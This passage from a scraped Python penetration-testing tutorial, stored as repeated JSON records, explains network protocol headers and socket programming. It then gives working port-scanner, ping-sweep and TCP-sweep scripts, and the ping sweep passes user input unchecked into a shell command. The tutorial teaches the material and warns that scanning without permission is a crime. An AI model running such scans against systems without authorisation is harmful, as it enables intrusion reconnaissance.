"e": 32646, "s": 32526, "text": "CRC (Cyclic Redundancy Check) − This is a 4-byte field containing 32-bit CRC, which allows detection of corrupted data." }, { "code": null, "e": 32766, "s": 32646, "text": "CRC (Cyclic Redundancy Check) − This is a 4-byte field containing 32-bit CRC, which allows detection of corrupted data." }, { "code": null, "e": 32893, "s": 32766, "text": "Following is a graphical representation of the extended Ethernet frame using which we can get Payload larger than 1500 bytes −" }, { "code": null, "e": 32992, "s": 32893, "text": "The description of the fields, which are different from IEEE 802.3 Ethernet frame, is as follows −" }, { "code": null, "e": 33119, "s": 32992, "text": "DSAP is a 1-byte long field that represents the logical addresses of the network layer entity intended to receive the message." }, { "code": null, "e": 33241, "s": 33119, "text": "SSAP is a 1-byte long field that represents the logical address of the network layer entity that has created the message." }, { "code": null, "e": 33273, "s": 33241, "text": "This is a 1-byte control field." }, { "code": null, "e": 33855, "s": 33273, "text": "Internet Protocol is one of the major protocols in the TCP/IP protocols suite. This protocol works at the network layer of the OSI model and at the Internet layer of the TCP/IP model. Thus, this protocol has the responsibility of identifying hosts based upon their logical addresses and to route data among them over the underlying network. IP provides a mechanism to uniquely identify hosts by an IP addressing scheme. IP uses best effort delivery, i.e., it does not guarantee that packets would be delivered to the destined host, but it will do its best to reach the destination." }, { "code": null, "e": 33937, "s": 33855, "text": "In our subsequent sections, we will learn about the two different versions of IP." }, { "code": null, "e": 34092, "s": 33937, "text": "This is the Internet Protocol version 4, which uses 32-bit logical address. Following is the diagram of IPv4 header along with the description of fields −" }, { "code": null, "e": 34162, "s": 34092, "text": "This is the version of the Internet Protocol used; for example, IPv4." }, { "code": null, "e": 34218, "s": 34162, "text": "Internet Header Length; length of the entire IP header." }, { "code": null, "e": 34283, "s": 34218, "text": "Differentiated Services Code Point; this is the Type of Service." }, { "code": null, "e": 34380, "s": 34283, "text": "Explicit Congestion Notification; it carries information about the congestion seen in the route." }, { "code": null, "e": 34453, "s": 34380, "text": "The length of the entire IP Packet (including IP header and IP Payload)." }, { "code": null, "e": 34567, "s": 34453, "text": "If the IP packet is fragmented during the transmission, all the fragments contain the same identification number." }, { "code": null, "e": 34749, "s": 34567, "text": "As required by the network resources, if the IP Packet is too large to handle, these ‘flags’ tell if they can be fragmented or not. In this 3-bit flag, the MSB is always set to ‘0’." }, { "code": null, "e": 34829, "s": 34749, "text": "This offset tells the exact position of the fragment in the original IP Packet." }, { "code": null, "e": 35082, "s": 34829, "text": "To avoid looping in the network, every packet is sent with some TTL value set, which tells the network how many routers (hops) this packet can cross. At each hop, its value is decremented by one and when the value reaches zero, the packet is discarded." }, { "code": null, "e": 35272, "s": 35082, "text": "Tells the Network layer at the destination host, to which Protocol this packet belongs, i.e., the next level Protocol. For example, the protocol number of ICMP is 1, TCP is 6 and UDP is 17." }, { "code": null, "e": 35398, "s": 35272, "text": "This field is used to keep checksum value of entire header, which is then used to check if the packet is received error-free." }, { "code": null, "e": 35454, "s": 35398, "text": "32-bit address of the Sender (or source) of the packet." }, { "code": null, "e": 35517, "s": 35454, "text": "32-bit address of the Receiver (or destination) of the packet." }, { "code": null, "e": 35691, "s": 35517, "text": "This is an optional field, which is used if the value of IHL is greater than 5. These options may contain values for options such as Security, Record Route, Time Stamp, etc." }, { "code": null, "e": 35794, "s": 35691, "text": "If you want to study IPv4 in detail, please refer to this link - www.tutorialspoint.com/ipv4/index.htm" }, { "code": null, "e": 36163, "s": 35794, "text": "The Internet Protocol version 6 is the most recent communications protocol, which as its predecessor IPv4 works on the Network Layer (Layer-3). Along with its offering of an enormous amount of logical address space, this protocol has ample features , which address the shortcoming of IPv4. Following is the diagram of IPv4 header along with the description of fields −" }, { "code": null, "e": 36218, "s": 36163, "text": "It represents the version of Internet Protocol — 0110." }, { "code": null, "e": 36475, "s": 36218, "text": "These 8 bits are divided into two parts. The most significant 6 bits are used for the Type of Service to let the Router Known what services should be provided to this packet. The least significant 2 bits are used for Explicit Congestion Notification (ECN)." }, { "code": null, "e": 36796, "s": 36475, "text": "This label is used to maintain the sequential flow of the packets belonging to a communication. The source labels the sequence to help the router identify that a particular packet belongs to a specific flow of information. This field helps avoid re-ordering of data packets. It is designed for streaming/real-time media." }, { "code": null, "e": 37148, "s": 36796, "text": "This field is used to tell the routers how much information a particular packet contains in its payload. Payload is composed of Extension Headers and Upper Layer data. With 16 bits, up to 65535 bytes can be indicated; but if the Extension Headers contain Hop-by-Hop Extension Header, then the payload may exceed 65535 bytes and this field is set to 0." }, { "code": null, "e": 37360, "s": 37148, "text": "Either this field is used to indicate the type of Extension Header, or if the Extension Header is not present then it indicates the Upper Layer PDU. The values for the type of Upper Layer PDU are same as IPv4’s." }, { "code": null, "e": 37592, "s": 37360, "text": "This field is used to stop packet to loop in the network infinitely. This is same as TTL in IPv4. The value of Hop Limit field is decremented by 1 as it passes a link (router/hop). When the field reaches 0, the packet is discarded." }, { "code": null, "e": 37654, "s": 37592, "text": "This field indicates the address of originator of the packet." }, { "code": null, "e": 37727, "s": 37654, "text": "This field provides the address of the intended recipient of the packet." }, { "code": null, "e": 37830, "s": 37727, "text": "If you want to study IPv6 in detail, please refer to this link — www.tutorialspoint.com/ipv6/index.htm" }, { "code": null, "e": 38350, "s": 37830, "text": "As we know that TCP is a connection-oriented protocol, in which a session is established between two systems before starting communication. The connection would be closed once the communication has been completed. TCP uses a three-way handshake technique for establishing the connection socket between two systems. Three-way handshake means that three messages — SYN, SYN-ACK and ACK, are sent back and forth between two systems. The steps of working between two systems, initiating and target systems, are as follows −" }, { "code": null, "e": 38384, "s": 38350, "text": "Step 1 − Packet with SYN flag set" }, { "code": null, "e": 38496, "s": 38384, "text": "First of all the system that is trying to initiate a connection starts with a packet that has the SYN flag set." }, { "code": null, "e": 38534, "s": 38496, "text": "Step 2 − Packet with SYN-ACK flag set" }, { "code": null, "e": 38615, "s": 38534, "text": "Now, in this step the target system returns a packet with SYN and ACK flag sets." }, { "code": null, "e": 38649, "s": 38615, "text": "Step 3 − Packet with ACK flag set" }, { "code": null, "e": 38750, "s": 38649, "text": "At last, the initiating system will return a packet to the original target system with ACK flag set." }, { "code": null, "e": 38832, "s": 38750, "text": "Following is the diagram of the TCP header along with the description of fields −" }, { "code": null, "e": 38912, "s": 38832, "text": "It identifies the source port of the application process on the sending device." }, { "code": null, "e": 38999, "s": 38912, "text": "It identifies the destination port of the application process on the receiving device." }, { "code": null, "e": 39060, "s": 38999, "text": "The sequence number of data bytes of a segment in a session." }, { "code": null, "e": 39216, "s": 39060, "text": "When ACK flag is set, this number contains the next sequence number of the data byte expected and works as an acknowledgment of the previous data received." }, { "code": null, "e": 39354, "s": 39216, "text": "This field implies both, the size of the TCP header (32-bit words) and the offset of data in the current packet in the whole TCP segment." }, { "code": null, "e": 39406, "s": 39354, "text": "Reserved for future use and set to zero by default." }, { "code": null, "e": 39487, "s": 39406, "text": "NS − Explicit Congestion Notification signaling process uses this Nonce Sum bit." }, { "code": null, "e": 39568, "s": 39487, "text": "NS − Explicit Congestion Notification signaling process uses this Nonce Sum bit." }, { "code": null, "e": 39689, "s": 39568, "text": "CWR − When a host receives packet with ECE bit set, it sets Congestion Windows Reduced to acknowledge that ECE received." }, { "code": null, "e": 39810, "s": 39689, "text": "CWR − When a host receives packet with ECE bit set, it sets Congestion Windows Reduced to acknowledge that ECE received." }, { "code": null, "e": 40011, "s": 39810, "text": "ECE − It has two meanings −\n\nIf SYN bit is clear to 0, then ECE means that the IP packet has its CE (congestion experience) bit set.\nIf SYN bit is set to 1, ECE means that the device is ECT capable.\n\n" }, { "code": null, "e": 40039, "s": 40011, "text": "ECE − It has two meanings −" }, { "code": null, "e": 40143, "s": 40039, "text": "If SYN bit is clear to 0, then ECE means that the IP packet has its CE (congestion experience) bit set." }, { "code": null, "e": 40247, "s": 40143, "text": "If SYN bit is clear to 0, then ECE means that the IP packet has its CE (congestion experience) bit set." }, { "code": null, "e": 40313, "s": 40247, "text": "If SYN bit is set to 1, ECE means that the device is ECT capable." }, { "code": null, "e": 40379, "s": 40313, "text": "If SYN bit is set to 1, ECE means that the device is ECT capable." }, { "code": null, "e": 40470, "s": 40379, "text": "URG − It indicates that Urgent Pointer field has significant data and should be processed." }, { "code": null, "e": 40561, "s": 40470, "text": "URG − It indicates that Urgent Pointer field has significant data and should be processed." }, { "code": null, "e": 40711, "s": 40561, "text": "ACK − It indicates that Acknowledgement field has significance. If ACK is cleared to 0, it indicates that packet does not contain any acknowledgment." }, { "code": null, "e": 40861, "s": 40711, "text": "ACK − It indicates that Acknowledgement field has significance. If ACK is cleared to 0, it indicates that packet does not contain any acknowledgment." }, { "code": null, "e": 41004, "s": 40861, "text": "PSH − When set, it is a request to the receiving station to PUSH data (as soon as it comes) to the receiving application without buffering it." }, { "code": null, "e": 41147, "s": 41004, "text": "PSH − When set, it is a request to the receiving station to PUSH data (as soon as it comes) to the receiving application without buffering it." }, { "code": null, "e": 41193, "s": 41147, "text": "RST − Reset flag has the following features −" }, { "code": null, "e": 41239, "s": 41193, "text": "RST − Reset flag has the following features −" }, { "code": null, "e": 41284, "s": 41239, "text": "It is used to refuse an incoming connection." }, { "code": null, "e": 41329, "s": 41284, "text": "It is used to refuse an incoming connection." }, { "code": null, "e": 41361, "s": 41329, "text": "It is used to reject a segment." }, { "code": null, "e": 41393, "s": 41361, "text": "It is used to reject a segment." }, { "code": null, "e": 41429, "s": 41393, "text": "It is used to restart a connection." }, { "code": null, "e": 41465, "s": 41429, "text": "It is used to restart a connection." }, { "code": null, "e": 41527, "s": 41465, "text": "SYN − This flag is used to set up a connection between hosts." }, { "code": null, "e": 41589, "s": 41527, "text": "SYN − This flag is used to set up a connection between hosts." }, { "code": null, "e": 41778, "s": 41589, "text": "FIN − This flag is used to release a connection and no more data is exchanged thereafter. Because packets with SYN and FIN flags have sequence numbers, they are processed in correct order." }, { "code": null, "e": 41967, "s": 41778, "text": "FIN − This flag is used to release a connection and no more data is exchanged thereafter. Because packets with SYN and FIN flags have sequence numbers, they are processed in correct order." }, { "code": null, "e": 42159, "s": 41967, "text": "This field is used for flow control between two stations and indicates the amount of buffer (in bytes) the receiver has allocated for a segment, i.e., how much data is the receiver expecting." }, { "code": null, "e": 42239, "s": 42159, "text": "Checksum − This field contains the checksum of Header, Data and Pseudo Headers." }, { "code": null, "e": 42319, "s": 42239, "text": "Checksum − This field contains the checksum of Header, Data and Pseudo Headers." }, { "code": null, "e": 42395, "s": 42319, "text": "Urgent Pointer − It points to the urgent data byte if URG flag is set to 1." }, { "code": null, "e": 42471, "s": 42395, "text": "Urgent Pointer − It points to the urgent data byte if URG flag is set to 1." }, { "code": null, "e": 42727, "s": 42471, "text": "Options − It facilitates additional options, which are not covered by the regular header. Option field is always described in 32-bit words. If this field contains data less than 32-bit, padding is used to cover the remaining bits to reach 32-bit boundary." }, { "code": null, "e": 42983, "s": 42727, "text": "Options − It facilitates additional options, which are not covered by the regular header. Option field is always described in 32-bit words. If this field contains data less than 32-bit, padding is used to cover the remaining bits to reach 32-bit boundary." }, { "code": null, "e": 43148, "s": 42983, "text": "If you want to study TCP in detail, please refer to this link — https://www.tutorialspoint.com/data_communication_computer_network/transmission_control_protocol.htm" }, { "code": null, "e": 43607, "s": 43148, "text": "UDP is a simple connectionless protocol unlike TCP, a connection-oriented protocol. It involves minimum amount of communication mechanism. In UDP, the receiver does not generate an acknowledgment of packet received and in turn, the sender does not wait for any acknowledgment of the packet sent. This shortcoming makes this protocol unreliable as well as easier on processing. Following is the diagram of the UDP header along with the description of fields −" }, { "code": null, "e": 43683, "s": 43607, "text": "This 16-bits information is used to identify the source port of the packet." }, { "code": null, "e": 43786, "s": 43683, "text": "This 16-bits information is used to identify the application level service on the destination machine." }, { "code": null, "e": 43965, "s": 43786, "text": "The length field specifies the entire length of the UDP packet (including header). It is a 16-bits field and the minimum value is 8-byte, i.e., the size of the UDP header itself." }, { "code": null, "e": 44172, "s": 43965, "text": "This field stores the checksum value generated by the sender before sending. IPv4 has this field as optional so when checksum field does not contain any value, it is made 0 and all its bits are set to zero." }, { "code": null, "e": 44247, "s": 44172, "text": "To study TCP in detail, please refer to this link — User Datagram Protocol" }, { "code": null, "e": 44841, "s": 44247, "text": "Sockets are the endpoints of a bidirectional communication channel. They may communicate within a process, between processes on the same machine or between processes on different machines. On a similar note, a network socket is one endpoint in a communication flow between two programs running over a computer network such as the Internet. It is purely a virtual thing and does not mean any hardware. Network socket can be identified by a unique combination of an IP address and port number. Network sockets may be implemented over a number of different channel types like TCP, UDP, and so on." }, { "code": null, "e": 44924, "s": 44841, "text": "The different terms related to socket used in network programming are as follows −" }, { "code": null, "e": 45080, "s": 44924, "text": "Domain is the family of protocols that is used as the transport mechanism. These values are constants such as AF_INET, PF_INET, PF_UNIX, PF_X25, and so on." }, { "code": null, "e": 45241, "s": 45080, "text": "Type means the kind of communication between two endpoints, typically SOCK_STREAM for connection-oriented protocols and SOCK_DGRAM for connectionless protocols." }, { "code": null, "e": 45370, "s": 45241, "text": "This may be used to identify a variant of a protocol within a domain and type. Its default value is 0. This is usually left out." }, { "code": null, "e": 45531, "s": 45370, "text": "This works as the identifier of a network interface. A hostname nay be a string, a dotted-quad address, or an IPV6 address in colon (and possibly dot) notation." }, { "code": null, "e": 45690, "s": 45531, "text": "Each server listens for clients calling on one or more ports. A port may be a Fixnum port number, a string containing a port number, or the name of a service." }, { "code": null, "e": 45817, "s": 45690, "text": "To implement socket programming in python, we need to use the Socket module. Following is a simple syntax to create a Socket −" }, { "code": null, "e": 45893, "s": 45817, "text": "import socket\ns = socket.socket (socket_family, socket_type, protocol = 0)\n" }, { "code": null, "e": 46033, "s": 45893, "text": "Here, we need to import the socket library and then make a simple socket. Following are the different parameters used while making socket −" }, { "code": null, "e": 46106, "s": 46033, "text": "socket_family − This is either AF_UNIX or AF_INET, as explained earlier." }, { "code": null, "e": 46179, "s": 46106, "text": "socket_family − This is either AF_UNIX or AF_INET, as explained earlier." }, { "code": null, "e": 46235, "s": 46179, "text": "socket_type − This is either SOCK_STREAM or SOCK_DGRAM." }, { "code": null, "e": 46291, "s": 46235, "text": "socket_type − This is either SOCK_STREAM or SOCK_DGRAM." }, { "code": null, "e": 46345, "s": 46291, "text": "protocol − This is usually left out, defaulting to 0." }, { "code": null, "e": 46399, "s": 46345, "text": "protocol − This is usually left out, defaulting to 0." }, { "code": null, "e": 46530, "s": 46399, "text": "In this section, we will learn about the different socket methods. The three different set of socket methods are described below −" }, { "code": null, "e": 46552, "s": 46530, "text": "Server Socket Methods" }, { "code": null, "e": 46574, "s": 46552, "text": "Client Socket Methods" }, { "code": null, "e": 46597, "s": 46574, "text": "General Socket Methods" }, { "code": null, "e": 46868, "s": 46597, "text": "In the client-server architecture, there is one centralized server that provides service and many clients receive service from that centralized server. The clients also do the request to server. A few important server socket methods in this architecture are as follows −" }, { "code": null, "e": 46953, "s": 46868, "text": "socket.bind() − This method binds the address (hostname, port number) to the socket." }, { "code": null, "e": 47038, "s": 46953, "text": "socket.bind() − This method binds the address (hostname, port number) to the socket." }, { "code": null, "e": 47292, "s": 47038, "text": "socket.listen() − This method basically listens to the connections made to the socket. It starts TCP listener. Backlog is an argument of this method which specifies the maximum number of queued connections. Its minimum value is 0 and maximum value is 5." }, { "code": null, "e": 47546, "s": 47292, "text": "socket.listen() − This method basically listens to the connections made to the socket. It starts TCP listener. Backlog is an argument of this method which specifies the maximum number of queued connections. Its minimum value is 0 and maximum value is 5." }, { "code": null, "e": 47885, "s": 47546, "text": "socket.accept() − This will accept TCP client connection. The pair (conn, address) is the return value pair of this method. Here, conn is a new socket object used to send and receive data on the connection and address is the address bound to the socket. Before using this method, the socket.bind() and socket.listen() method must be used." }, { "code": null, "e": 48224, "s": 47885, "text": "socket.accept() − This will accept TCP client connection. The pair (conn, address) is the return value pair of this method. Here, conn is a new socket object used to send and receive data on the connection and address is the address bound to the socket. Before using this method, the socket.bind() and socket.listen() method must be used." }, { "code": null, "e": 48387, "s": 48224, "text": "The client in the client-server architecture requests the server and receives services from the server. For this, there is only one method dedicated for clients −" }, { "code": null, "e": 48586, "s": 48387, "text": "socket.connect(address) − this method actively intimate server connection or in simple words this method connects the client to the server. The argument address represents the address of the server." }, { "code": null, "e": 48785, "s": 48586, "text": "socket.connect(address) − this method actively intimate server connection or in simple words this method connects the client to the server. The argument address represents the address of the server." }, { "code": null, "e": 48958, "s": 48785, "text": "Other than client and server socket methods, there are some general socket methods, which are very useful in socket programming. The general socket methods are as follows −" }, { "code": null, "e": 49162, "s": 48958, "text": "socket.recv(bufsize) − As name implies, this method receives the TCP message from socket. The argument bufsize stands for buffer size and defines the maximum data this method can receive at any one time." }, { "code": null, "e": 49366, "s": 49162, "text": "socket.recv(bufsize) − As name implies, this method receives the TCP message from socket. The argument bufsize stands for buffer size and defines the maximum data this method can receive at any one time." }, { "code": null, "e": 49546, "s": 49366, "text": "socket.send(bytes) − This method is used to send data to the socket which is connected to the remote machine. The argument bytes will gives the number of bytes sent to the socket." }, { "code": null, "e": 49726, "s": 49546, "text": "socket.send(bytes) − This method is used to send data to the socket which is connected to the remote machine. The argument bytes will gives the number of bytes sent to the socket." }, { "code": null, "e": 49954, "s": 49726, "text": "socket.recvfrom(data, address) − This method receives data from the socket. Two pair (data, address) value is returned by this method. Data defines the received data and address specifies the address of socket sending the data." }, { "code": null, "e": 50182, "s": 49954, "text": "socket.recvfrom(data, address) − This method receives data from the socket. Two pair (data, address) value is returned by this method. Data defines the received data and address specifies the address of socket sending the data." }, { "code": null, "e": 50434, "s": 50182, "text": "socket.sendto(data, address) − As name implies, this method is used to send data from the socket. Two pair (data, address) value is returned by this method. Data defines the number of bytes sent and address specifies the address of the remote machine." }, { "code": null, "e": 50686, "s": 50434, "text": "socket.sendto(data, address) − As name implies, this method is used to send data from the socket. Two pair (data, address) value is returned by this method. Data defines the number of bytes sent and address specifies the address of the remote machine." }, { "code": null, "e": 50738, "s": 50686, "text": "socket.close() − This method will close the socket." }, { "code": null, "e": 50790, "s": 50738, "text": "socket.close() − This method will close the socket." }, { "code": null, "e": 50859, "s": 50790, "text": "socket.gethostname() − This method will return the name of the host." }, { "code": null, "e": 50928, "s": 50859, "text": "socket.gethostname() − This method will return the name of the host." }, { "code": null, "e": 51170, "s": 50928, "text": "socket.sendall(data) − This method sends all the data to the socket which is connected to a remote machine. It will carelessly transfers the data until an error occurs and if it happens then it uses socket.close() method to close the socket." }, { "code": null, "e": 51412, "s": 51170, "text": "socket.sendall(data) − This method sends all the data to the socket which is connected to a remote machine. It will carelessly transfers the data until an error occurs and if it happens then it uses socket.close() method to close the socket." }, { "code": null, "e": 51554, "s": 51412, "text": "To establish a connection between server and client, we need to write two different Python programs, one for server and the other for client." }, { "code": null, "e": 52258, "s": 51554, "text": "In this server side socket program, we will use the socket.bind() method which binds it to a specific IP address and port so that it can listen to incoming requests on that IP and port. Later, we use the socket.listen() method which puts the server into the listen mode. The number, say 4, as the argument of the socket.listen() method means that 4 connections are kept waiting if the server is busy and if a 5th socket tries to connect then the connection is refused. We will send a message to the client by using the socket.send() method. Towards the end, we use the socket.accept() and socket.close() method for initiating and closing the connection respectively. Following is a server side program −" }, { "code": null, "e": 52704, "s": 52258, "text": "import socket\ndef Main():\n host = socket.gethostname()\n port = 12345\n serversocket = socket.socket()\n serversocket.bind((host,port))\n serversocket.listen(1)\n print('socket is listening')\n \n while True:\n conn,addr = serversocket.accept()\n print(\"Got connection from %s\" % str(addr))\n msg = 'Connecting Established'+ \"\\r\\n\"\n conn.send(msg.encode('ascii'))\n conn.close()\nif __name__ == '__main__':\n Main()" }, { "code": null, "e": 53087, "s": 52704, "text": "In the client-side socket program, we need to make a socket object. Then we will connect to the port on which our server is running — 12345 in our example. After that we will establish a connection by using the socket.connect() method. Then by using the socket.recv() method, the client will receive the message from server. At last, the socket.close() method will close the client." }, { "code": null, "e": 53280, "s": 53087, "text": "import socket\ns = socket.socket(socket.AF_INET, socket.SOCK_STREAM)\n\nhost = socket.gethostname()\nport = 12345\n\ns.connect((host, port))\nmsg = s.recv(1024)\n\ns.close()\nprint (msg.decode('ascii'))" }, { "code": null, "e": 53370, "s": 53280, "text": "Now, after running the server-side program we will get the following output on terminal −" }, { "code": null, "e": 53436, "s": 53370, "text": "socket is listening\nGot connection from ('192.168.43.75', 49904)\n" }, { "code": null, "e": 53532, "s": 53436, "text": "And after running the client-side program, we will get the following output on other terminal −" }, { "code": null, "e": 53556, "s": 53532, "text": "Connection Established\n" }, { "code": null, "e": 53708, "s": 53556, "text": "There are two blocks namely try and except which can be used to handle network socket exceptions. Following is a Python script for handling exception −" }, { "code": null, "e": 54057, "s": 53708, "text": "import socket\nhost = \"192.168.43.75\"\nport = 12345\ns = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)\n\ntry:\n s.bind((host,port))\n s.settimeout(3)\n data, addr = s.recvfrom(1024)\n print (\"recevied from \",addr)\n print (\"obtained \", data)\n s.close()\nexcept socket.timeout :\n print (\"No connection between client and server\")\n s.close()" }, { "code": null, "e": 54108, "s": 54057, "text": "The above program generates the following output −" }, { "code": null, "e": 54149, "s": 54108, "text": "No connection between client and server\n" }, { "code": null, "e": 54686, "s": 54149, "text": "In the above script, first we made a socket object. This was followed by providing the host IP address and port number on which our server is running — 12345 in our example. Later, the try block is used and inside it by using the socket.bind() method, we will try to bind the IP address and port. We are using socket.settimeout() method for setting the wait time for client, in our example we are setting 3 seconds. The except block is used which will print a message if the connection will not be established between server and client." }, { "code": null, "e": 55017, "s": 54686, "text": "Port scanning may be defined as a surveillance technique, which is used in order to locate the open ports available on a particular host. Network administrator, penetration tester or a hacker can use this technique. We can configure the port scanner according to our requirements to get maximum information from the target system." }, { "code": null, "e": 55088, "s": 55017, "text": "Now, consider the information we can get after running the port scan −" }, { "code": null, "e": 55118, "s": 55088, "text": "Information about open ports." }, { "code": null, "e": 55148, "s": 55118, "text": "Information about open ports." }, { "code": null, "e": 55201, "s": 55148, "text": "Information about the services running on each port." }, { "code": null, "e": 55254, "s": 55201, "text": "Information about the services running on each port." }, { "code": null, "e": 55311, "s": 55254, "text": "Information about OS and MAC address of the target host." }, { "code": null, "e": 55368, "s": 55311, "text": "Information about OS and MAC address of the target host." }, { "code": null, "e": 55871, "s": 55368, "text": "Port scanning is just like a thief who wants to enter into a house by checking every door and window to see which ones are open. As discussed earlier, TCP/IP protocol suite, use for communication over internet, is made up of two protocols namely TCP and UDP. Both of the protocols have 0 to 65535 ports. As it always advisable to close unnecessary ports of our system hence essentially, there are more than 65000 doors (ports) to lock. These 65535 ports can be divided into the following three ranges −" }, { "code": null, "e": 55914, "s": 55871, "text": "System or well-known ports: from 0 to 1023" }, { "code": null, "e": 55957, "s": 55914, "text": "System or well-known ports: from 0 to 1023" }, { "code": null, "e": 56002, "s": 55957, "text": "User or registered ports: from 1024 to 49151" }, { "code": null, "e": 56047, "s": 56002, "text": "User or registered ports: from 1024 to 49151" }, { "code": null, "e": 56085, "s": 56047, "text": "Dynamic or private ports: all > 49151" }, { "code": null, "e": 56123, "s": 56085, "text": "Dynamic or private ports: all > 49151" }, { "code": null, "e": 56295, "s": 56123, "text": "In our previous chapter, we discussed what a socket is. Now, we will build a simple port scanner using socket. Following is a Python script for port scanner using socket −" }, { "code": null, "e": 56746, "s": 56295, "text": "from socket import *\nimport time\nstartTime = time.time()\n\nif __name__ == '__main__':\n target = input('Enter the host to be scanned: ')\n t_IP = gethostbyname(target)\n print ('Starting scan on host: ', t_IP)\n \n for i in range(50, 500):\n s = socket(AF_INET, SOCK_STREAM)\n \n conn = s.connect_ex((t_IP, i))\n if(conn == 0) :\n print ('Port %d: OPEN' % (i,))\n s.close()\nprint('Time taken:', time.time() - startTime)" }, { "code": null, "e": 57296, "s": 56746, "text": "When we run the above script, it will prompt for the hostname, you can provide any hostname like name of any website but be careful because port scanning can be seen as, or construed as, a crime. We should never execute a port scanner against any website or IP address without explicit, written permission from the owner of the server or computer that you are targeting. Port scanning is akin to going to someone’s house and checking their doors and windows. That is why it is advisable to use port scanner on localhost or your own website (if any)." }, { "code": null, "e": 57346, "s": 57296, "text": "The above script generates the following output −" }, { "code": null, "e": 57480, "s": 57346, "text": "Enter the host to be scanned: localhost\nStarting scan on host: 127.0.0.1\nPort 135: OPEN\nPort 445: OPEN\nTime taken: 452.3990001678467\n" }, { "code": null, "e": 57673, "s": 57480, "text": "The output shows that in the range of 50 to 500 (as provided in the script), this port scanner found two ports — port 135 and 445, open. We can change this range and can check for other ports." }, { "code": null, "e": 57955, "s": 57673, "text": "ICMP is not a port scan but it is used to ping the remote host to check if the host is up. This scan is useful when we have to check a number of live hosts in a network. It involves sending an ICMP ECHO Request to a host and if that host is live, it will return an ICMP ECHO Reply." }, { "code": null, "e": 58081, "s": 57955, "text": "The above process of sending ICMP request is also called ping scan, which is provided by the operating system’s ping command." }, { "code": null, "e": 58607, "s": 58081, "text": "Actually in one or other sense, ping sweep is also known as ping sweeping. The only difference is that ping sweeping is the procedure to find more than one machine availability in specific network range. For example, suppose we want to test a full list of IP addresses then by using the ping scan, i.e., ping command of operating system it would be very time consuming to scan IP addresses one by one. That is why we need to use ping sweep script. Following is a Python script for finding live hosts by using the ping sweep −" }, { "code": null, "e": 59434, "s": 58607, "text": "import os\nimport platform\n\nfrom datetime import datetime\nnet = input(\"Enter the Network Address: \")\nnet1= net.split('.')\na = '.'\n\nnet2 = net1[0] + a + net1[1] + a + net1[2] + a\nst1 = int(input(\"Enter the Starting Number: \"))\nen1 = int(input(\"Enter the Last Number: \"))\nen1 = en1 + 1\noper = platform.system()\n\nif (oper == \"Windows\"):\n ping1 = \"ping -n 1 \"\nelif (oper == \"Linux\"):\n ping1 = \"ping -c 1 \"\nelse :\n ping1 = \"ping -c 1 \"\nt1 = datetime.now()\nprint (\"Scanning in Progress:\")\n\nfor ip in range(st1,en1):\n addr = net2 + str(ip)\n comm = ping1 + addr\n response = os.popen(comm)\n \n for line in response.readlines():\n if(line.count(\"TTL\")):\n break\n if (line.count(\"TTL\")):\n print (addr, \"--> Live\")\n \nt2 = datetime.now()\ntotal = t2 - t1\nprint (\"Scanning completed in: \",total)" }, { "code": null, "e": 59782, "s": 59434, "text": "The above script works in three parts. It first selects the range of IP address to ping sweep scan by splitting it into parts. This is followed by using the function, which will select command for ping sweeping according to the operating system, and last it is giving the response about the host and time taken for completing the scanning process." }, { "code": null, "e": 59832, "s": 59782, "text": "The above script generates the following output −" }, { "code": null, "e": 59987, "s": 59832, "text": "Enter the Network Address: 127.0.0.1\nEnter the Starting Number: 1\nEnter the Last Number: 100\n\nScanning in Progress:\nScanning completed in: 0:00:02.711155\n" }, { "code": null, "e": 60216, "s": 59987, "text": "The above output is showing no live ports because the firewall is on and ICMP inbound settings are disabled too. After changing these settings, we can get the list of live ports in the range from 1 to 100 provided in the output." }, { "code": null, "e": 60335, "s": 60216, "text": "To establish a TCP connection, the host must perform a three-way handshake. Follow these steps to perform the action −" }, { "code": null, "e": 60369, "s": 60335, "text": "Step 1 − Packet with SYN flag set" }, { "code": null, "e": 60482, "s": 60369, "text": "In this step, the system that is trying to initiate a connection starts with a packet that has the SYN flag set." }, { "code": null, "e": 60520, "s": 60482, "text": "Step 2 − Packet with SYN-ACK flag set" }, { "code": null, "e": 60597, "s": 60520, "text": "In this step, the target system returns a packet with SYN and ACK flag sets." }, { "code": null, "e": 60631, "s": 60597, "text": "Step 3 − Packet with ACK flag set" }, { "code": null, "e": 60736, "s": 60631, "text": "At last, the initiating system will return a packet to the original target system with the ACK flag set." }, { "code": null, "e": 61083, "s": 60736, "text": "Nevertheless, the question that arises here is if we can do port scanning using ICMP echo request and reply method (ping sweep scanner) then why do we need TCP scan? The main reason behind it is that suppose if we turn off the ICMP ECHO reply feature or using a firewall to ICMP packets then ping sweep scanner will not work and we need TCP scan." }, { "code": null, "e": 61791, "s": 61083, "text": "import socket\nfrom datetime import datetime\nnet = input(\"Enter the IP address: \")\nnet1 = net.split('.')\na = '.'\n\nnet2 = net1[0] + a + net1[1] + a + net1[2] + a\nst1 = int(input(\"Enter the Starting Number: \"))\nen1 = int(input(\"Enter the Last Number: \"))\nen1 = en1 + 1\nt1 = datetime.now()\n\ndef scan(addr):\n s = socket.socket(socket.AF_INET,socket.SOCK_STREAM)\n socket.setdefaulttimeout(1)\n result = s.connect_ex((addr,135))\n if result == 0:\n return 1\n else :\n return 0\n\ndef run1():\n for ip in range(st1,en1):\n addr = net2 + str(ip)\n if (scan(addr)):\n print (addr , \"is live\")\n \nrun1()\nt2 = datetime.now()\ntotal = t2 - t1\nprint (\"Scanning completed in: \" , total)" }, { "code": null, "e": 62441, "s": 61791, "text": "The above script works in three parts. It selects the range of IP address to ping sweep scan by splitting it into parts. This is followed by using a function for scanning the address, which further uses the socket. Later, it gives the response about the host and time taken for completing the scanning process. The result = s. connect_ex((addr,135)) statement returns an error indicator. The error indicator is 0 if the operation succeeds, otherwise, it is the value of the errno variable. Here, we used port 135; this scanner works for the Windows system. Another port which will work here is 445 (Microsoft-DSActive Directory) and is usually open." }, { "code": null, "e": 62491, "s": 62441, "text": "The above script generates the following output −" }, { "code": null, "e": 62799, "s": 62491, "text": "Enter the IP address: 127.0.0.1\nEnter the Starting Number: 1\nEnter the Last Number: 10\n\n127.0.0.1 is live\n127.0.0.2 is live\n127.0.0.3 is live\n127.0.0.4 is live\n127.0.0.5 is live\n127.0.0.6 is live\n127.0.0.7 is live\n127.0.0.8 is live\n127.0.0.9 is live\n127.0.0.10 is live\nScanning completed in: 0:00:00.230025\n" }, { "code": null, "e": 63098, "s": 62799, "text": "As we have seen in the above cases, port scanning can be very slow. For example, you can see the time taken for scanning ports from 50 to 500, while using socket port scanner, is 452.3990001678467. To improve the speed 